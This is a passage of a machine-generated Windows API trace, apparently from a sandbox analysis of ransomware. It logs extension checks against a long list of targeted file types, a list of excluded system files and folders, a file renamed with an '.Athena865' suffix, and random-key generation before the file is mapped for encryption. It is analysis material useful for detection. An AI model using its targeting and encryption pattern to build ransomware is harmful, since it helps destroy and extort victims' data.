(lpString="dad") returned 3 [0096.697] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0096.697] lstrlenW (lpString="dadiagrams") returned 10 [0096.697] lstrcmpiW (lpString1="ervice.dll", lpString2="dadiagrams") returned 1 [0096.697] lstrlenW (lpString="daschema") returned 8 [0096.697] lstrcmpiW (lpString1="vice.dll", lpString2="daschema") returned 1 [0096.697] lstrlenW (lpString="db-journal") returned 10 [0096.698] lstrcmpiW (lpString1="ervice.dll", lpString2="db-journal") returned 1 [0096.698] lstrlenW (lpString="db-shm") returned 6 [0096.698] lstrcmpiW (lpString1="ce.dll", lpString2="db-shm") returned -1 [0096.698] lstrlenW (lpString="db-wal") returned 6 [0096.698] lstrcmpiW (lpString1="ce.dll", lpString2="db-wal") returned -1 [0096.698] lstrlenW (lpString="dbc") returned 3 [0096.698] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0096.698] lstrlenW (lpString="dbs") returned 3 [0096.698] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0096.698] lstrlenW (lpString="dbt") returned 3 [0096.698] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0096.698] lstrlenW (lpString="dbv") returned 3 [0096.698] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0096.698] lstrlenW (lpString="dbx") returned 3 [0096.698] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0096.698] lstrlenW (lpString="dcb") returned 3 [0096.698] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0096.698] lstrlenW (lpString="dct") returned 3 [0096.698] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0096.698] lstrlenW (lpString="dcx") returned 3 [0096.698] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0096.698] lstrlenW (lpString="ddl") returned 3 [0096.698] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0096.698] lstrlenW (lpString="dlis") returned 4 [0096.698] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0096.698] lstrlenW (lpString="dp1") returned 3 [0096.698] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0096.698] lstrlenW (lpString="dqy") returned 3 [0096.698] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0096.698] lstrlenW (lpString="dsk") returned 3 [0096.698] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0096.698] lstrlenW (lpString="dsn") returned 3 [0096.699] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0096.699] lstrlenW (lpString="dtsx") returned 4 [0096.699] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0096.699] lstrlenW (lpString="dxl") returned 3 [0096.699] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0096.699] lstrlenW (lpString="eco") returned 3 [0096.699] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0096.699] lstrlenW (lpString="ecx") returned 3 [0096.699] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0096.699] lstrlenW (lpString="edb") returned 3 [0096.699] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0096.699] lstrlenW (lpString="epim") returned 4 [0096.699] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0096.699] lstrlenW (lpString="fcd") returned 3 [0096.699] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0096.699] lstrlenW (lpString="fdb") returned 3 [0096.699] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0096.699] lstrlenW (lpString="fic") returned 3 [0096.699] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0096.699] lstrlenW (lpString="flexolibrary") returned 12 [0096.699] lstrcmpiW (lpString1="tService.dll", lpString2="flexolibrary") returned 1 [0096.699] lstrlenW (lpString="fm5") returned 3 [0096.699] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0096.699] lstrlenW (lpString="fmp") returned 3 [0096.699] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0096.699] lstrlenW (lpString="fmp12") returned 5 [0096.699] lstrcmpiW (lpString1="e.dll", lpString2="fmp12") returned -1 [0096.699] lstrlenW (lpString="fmpsl") returned 5 [0096.699] lstrcmpiW (lpString1="e.dll", lpString2="fmpsl") returned -1 [0096.699] lstrlenW (lpString="fol") returned 3 [0096.699] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0096.699] lstrlenW (lpString="fp3") returned 3 [0096.700] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0096.700] lstrlenW (lpString="fp4") returned 3 [0096.700] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0096.700] lstrlenW (lpString="fp5") returned 3 [0096.700] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0096.700] lstrlenW (lpString="fp7") returned 3 [0096.700] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0096.700] lstrlenW (lpString="fpt") returned 3 [0096.700] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0096.700] lstrlenW (lpString="frm") returned 3 [0096.700] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0096.700] lstrlenW (lpString="gdb") returned 3 [0096.700] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0096.700] lstrlenW (lpString="gdb") returned 3 [0096.700] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0096.700] lstrlenW (lpString="grdb") returned 4 [0096.700] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0096.700] lstrlenW (lpString="gwi") returned 3 [0096.700] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0096.700] lstrlenW (lpString="hdb") returned 3 [0096.700] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0096.700] lstrlenW (lpString="his") returned 3 [0096.700] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0096.700] lstrlenW (lpString="ib") returned 2 [0096.700] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0096.700] lstrlenW (lpString="idb") returned 3 [0096.700] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0096.700] lstrlenW (lpString="ihx") returned 3 [0096.700] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0096.700] lstrlenW (lpString="itdb") returned 4 [0096.700] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0096.700] lstrlenW (lpString="itw") returned 3 [0096.701] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0096.701] lstrlenW (lpString="jet") returned 3 [0096.701] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0096.701] lstrlenW (lpString="jtx") returned 3 [0096.701] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0096.701] lstrlenW (lpString="kdb") returned 3 [0096.701] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0096.701] lstrlenW (lpString="kexi") returned 4 [0096.701] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0096.701] lstrlenW (lpString="kexic") returned 5 [0096.701] lstrcmpiW (lpString1="e.dll", lpString2="kexic") returned -1 [0096.701] lstrlenW (lpString="kexis") returned 5 [0096.701] lstrcmpiW (lpString1="e.dll", lpString2="kexis") returned -1 [0096.701] lstrlenW (lpString="lgc") returned 3 [0096.701] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0096.701] lstrlenW (lpString="lwx") returned 3 [0096.701] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0096.701] lstrlenW (lpString="maf") returned 3 [0096.701] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0096.701] lstrlenW (lpString="maq") returned 3 [0096.701] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0096.701] lstrlenW (lpString="mar") returned 3 [0096.701] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0096.701] lstrlenW (lpString="marshal") returned 7 [0096.701] lstrcmpiW (lpString1="ice.dll", lpString2="marshal") returned -1 [0096.701] lstrlenW (lpString="mas") returned 3 [0096.701] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0096.701] lstrlenW (lpString="mav") returned 3 [0096.701] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0096.701] lstrlenW (lpString="maw") returned 3 [0096.701] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0096.701] lstrlenW (lpString="mdbhtml") returned 7 [0096.702] lstrcmpiW (lpString1="ice.dll", lpString2="mdbhtml") returned -1 [0096.702] lstrlenW (lpString="mdn") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0096.702] lstrlenW (lpString="mdt") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0096.702] lstrlenW (lpString="mfd") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0096.702] lstrlenW (lpString="mpd") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0096.702] lstrlenW (lpString="mrg") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0096.702] lstrlenW (lpString="mud") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0096.702] lstrlenW (lpString="mwb") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0096.702] lstrlenW (lpString="myd") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0096.702] lstrlenW (lpString="ndf") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0096.702] lstrlenW (lpString="nnt") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0096.702] lstrlenW (lpString="nrmlib") returned 6 [0096.702] lstrcmpiW (lpString1="ce.dll", lpString2="nrmlib") returned -1 [0096.702] lstrlenW (lpString="ns2") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0096.702] lstrlenW (lpString="ns3") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0096.702] lstrlenW (lpString="ns4") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0096.702] lstrlenW (lpString="nsf") returned 3 [0096.702] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0096.703] lstrlenW (lpString="nv") returned 2 [0096.703] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0096.703] lstrlenW (lpString="nv2") returned 3 [0096.703] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0096.703] lstrlenW (lpString="nwdb") returned 4 [0096.703] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0096.703] lstrlenW (lpString="nyf") returned 3 [0096.703] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0096.703] lstrlenW (lpString="odb") returned 3 [0096.703] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0096.703] lstrlenW (lpString="odb") returned 3 [0096.703] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0096.703] lstrlenW (lpString="oqy") returned 3 [0096.703] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0096.703] lstrlenW (lpString="ora") returned 3 [0096.703] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0096.703] lstrlenW (lpString="orx") returned 3 [0096.703] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0096.703] lstrlenW (lpString="owc") returned 3 [0096.703] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0096.703] lstrlenW (lpString="p96") returned 3 [0096.703] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0096.703] lstrlenW (lpString="p97") returned 3 [0096.703] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0096.703] lstrlenW (lpString="pan") returned 3 [0096.703] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0096.703] lstrlenW (lpString="pdb") returned 3 [0096.703] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0096.703] lstrlenW (lpString="pdm") returned 3 [0096.703] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0096.703] lstrlenW (lpString="pnz") returned 3 [0096.704] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0096.704] lstrlenW (lpString="qry") returned 3 [0096.704] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0096.704] lstrlenW (lpString="qvd") returned 3 [0096.704] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0096.704] lstrlenW (lpString="rbf") returned 3 [0096.704] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0096.704] lstrlenW (lpString="rctd") returned 4 [0096.704] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0096.704] lstrlenW (lpString="rod") returned 3 [0096.704] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0096.704] lstrlenW (lpString="rodx") returned 4 [0096.704] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0096.704] lstrlenW (lpString="rpd") returned 3 [0096.704] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0096.704] lstrlenW (lpString="rsd") returned 3 [0096.704] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0096.704] lstrlenW (lpString="sas7bdat") returned 8 [0096.704] lstrcmpiW (lpString1="vice.dll", lpString2="sas7bdat") returned 1 [0096.704] lstrlenW (lpString="sbf") returned 3 [0096.704] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0096.704] lstrlenW (lpString="scx") returned 3 [0096.704] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0096.704] lstrlenW (lpString="sdb") returned 3 [0096.704] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0096.704] lstrlenW (lpString="sdc") returned 3 [0096.704] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0096.704] lstrlenW (lpString="sdf") returned 3 [0096.704] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0096.704] lstrlenW (lpString="sis") returned 3 [0096.704] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0096.704] lstrlenW (lpString="spq") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0096.705] lstrlenW (lpString="te") returned 2 [0096.705] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0096.705] lstrlenW (lpString="teacher") returned 7 [0096.705] lstrcmpiW (lpString1="ice.dll", lpString2="teacher") returned -1 [0096.705] lstrlenW (lpString="tmd") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0096.705] lstrlenW (lpString="tps") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0096.705] lstrlenW (lpString="trc") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0096.705] lstrlenW (lpString="trc") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0096.705] lstrlenW (lpString="trm") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0096.705] lstrlenW (lpString="udb") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0096.705] lstrlenW (lpString="udl") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0096.705] lstrlenW (lpString="usr") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0096.705] lstrlenW (lpString="v12") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0096.705] lstrlenW (lpString="vis") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0096.705] lstrlenW (lpString="vpd") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0096.705] lstrlenW (lpString="vvv") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0096.705] lstrlenW (lpString="wdb") returned 3 [0096.705] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0096.706] lstrlenW (lpString="wmdb") returned 4 [0096.706] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0096.706] lstrlenW (lpString="wrk") returned 3 [0096.706] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0096.706] lstrlenW (lpString="xdb") returned 3 [0096.706] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0096.706] lstrlenW (lpString="xld") returned 3 [0096.706] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0096.706] lstrlenW (lpString="xmlff") returned 5 [0096.706] lstrcmpiW (lpString1="e.dll", lpString2="xmlff") returned -1 [0096.706] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll.Athena865") returned 81 [0096.706] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservice.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservice.dll.athena865"), dwFlags=0x1) returned 1 [0096.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservice.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.710] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=325120) returned 1 [0096.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.711] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.712] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.712] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.712] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f900, lpName=0x0) returned 0x17c [0096.713] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f900) returned 0x2d50000 [0096.732] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.733] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.733] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.733] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0096.736] CloseHandle (hObject=0x17c) returned 1 [0096.736] CloseHandle (hObject=0x154) returned 1 [0096.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.738] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482a6fb4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x482a6fb4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x77dccedc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x3f54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1 [0096.738] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.738] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.738] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".") returned 1 [0096.738] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="..") returned 1 [0096.738] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="windows") returned -1 [0096.738] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="bootmgr") returned 1 [0096.738] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="temp") returned -1 [0096.738] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="pagefile.sys") returned 1 [0096.738] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="boot") returned 1 [0096.738] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="ids.txt") returned 1 [0096.738] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="ntuser.dat") returned 1 [0096.738] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="perflogs") returned 1 [0096.738] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="MSBuild") returned 1 [0096.738] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27 [0096.738] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TableTextServiceAmharic.txt" | out: lpString1="TableTextServiceAmharic.txt") returned="TableTextServiceAmharic.txt" [0096.738] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27 [0096.738] lstrlenW (lpString="Athena865") returned 9 [0096.739] lstrcmpiW (lpString1="haric.txt", lpString2="Athena865") returned 1 [0096.739] lstrlenW (lpString=".dll") returned 4 [0096.739] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".dll") returned 1 [0096.739] lstrlenW (lpString=".lnk") returned 4 [0096.739] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".lnk") returned 1 [0096.739] lstrlenW (lpString=".ini") returned 4 [0096.739] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".ini") returned 1 [0096.739] lstrlenW (lpString=".sys") returned 4 [0096.739] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".sys") returned 1 [0096.739] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27 [0096.739] lstrlenW (lpString="bak") returned 3 [0096.739] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0096.739] lstrlenW (lpString="ba_") returned 3 [0096.739] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0096.739] lstrlenW (lpString="dbb") returned 3 [0096.739] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0096.739] lstrlenW (lpString="vmdk") returned 4 [0096.739] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0096.739] lstrlenW (lpString="rar") returned 3 [0096.739] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0096.739] lstrlenW (lpString="zip") returned 3 [0096.739] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0096.739] lstrlenW (lpString="tgz") returned 3 [0096.739] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0096.739] lstrlenW (lpString="vbox") returned 4 [0096.739] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0096.739] lstrlenW (lpString="vdi") returned 3 [0096.739] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0096.739] lstrlenW (lpString="vhd") returned 3 [0096.739] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0096.740] lstrlenW (lpString="vhdx") returned 4 [0096.740] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0096.740] lstrlenW (lpString="avhd") returned 4 [0096.740] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0096.740] lstrlenW (lpString="db") returned 2 [0096.740] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0096.740] lstrlenW (lpString="db2") returned 3 [0096.740] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0096.740] lstrlenW (lpString="db3") returned 3 [0096.740] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0096.740] lstrlenW (lpString="dbf") returned 3 [0096.740] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0096.740] lstrlenW (lpString="mdf") returned 3 [0096.740] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0096.740] lstrlenW (lpString="mdb") returned 3 [0096.740] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0096.740] lstrlenW (lpString="sql") returned 3 [0096.740] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0096.740] lstrlenW (lpString="sqlite") returned 6 [0096.740] lstrcmpiW (lpString1="ic.txt", lpString2="sqlite") returned -1 [0096.740] lstrlenW (lpString="sqlite3") returned 7 [0096.740] lstrcmpiW (lpString1="ric.txt", lpString2="sqlite3") returned -1 [0096.740] lstrlenW (lpString="sqlitedb") returned 8 [0096.740] lstrcmpiW (lpString1="aric.txt", lpString2="sqlitedb") returned -1 [0096.740] lstrlenW (lpString="xml") returned 3 [0096.740] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0096.740] lstrlenW (lpString="$er") returned 3 [0096.740] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0096.740] lstrlenW (lpString="4dd") returned 3 [0096.740] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0096.740] lstrlenW (lpString="4dl") returned 3 [0096.740] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0096.741] lstrlenW (lpString="^^^") returned 3 [0096.741] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0096.741] lstrlenW (lpString="abs") returned 3 [0096.741] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0096.741] lstrlenW (lpString="abx") returned 3 [0096.741] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0096.741] lstrlenW (lpString="accdb") returned 5 [0096.741] lstrcmpiW (lpString1="c.txt", lpString2="accdb") returned 1 [0096.741] lstrlenW (lpString="accdc") returned 5 [0096.741] lstrcmpiW (lpString1="c.txt", lpString2="accdc") returned 1 [0096.741] lstrlenW (lpString="accde") returned 5 [0096.741] lstrcmpiW (lpString1="c.txt", lpString2="accde") returned 1 [0096.741] lstrlenW (lpString="accdr") returned 5 [0096.741] lstrcmpiW (lpString1="c.txt", lpString2="accdr") returned 1 [0096.741] lstrlenW (lpString="accdt") returned 5 [0096.741] lstrcmpiW (lpString1="c.txt", lpString2="accdt") returned 1 [0096.741] lstrlenW (lpString="accdw") returned 5 [0096.741] lstrcmpiW (lpString1="c.txt", lpString2="accdw") returned 1 [0096.741] lstrlenW (lpString="accft") returned 5 [0096.741] lstrcmpiW (lpString1="c.txt", lpString2="accft") returned 1 [0096.741] lstrlenW (lpString="adb") returned 3 [0096.741] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0096.741] lstrlenW (lpString="adb") returned 3 [0096.741] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0096.741] lstrlenW (lpString="ade") returned 3 [0096.741] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0096.741] lstrlenW (lpString="adf") returned 3 [0096.741] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0096.741] lstrlenW (lpString="adn") returned 3 [0096.741] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0096.741] lstrlenW (lpString="adp") returned 3 [0096.741] lstrcmpiW (lpString1="txt", lpString2="adp") 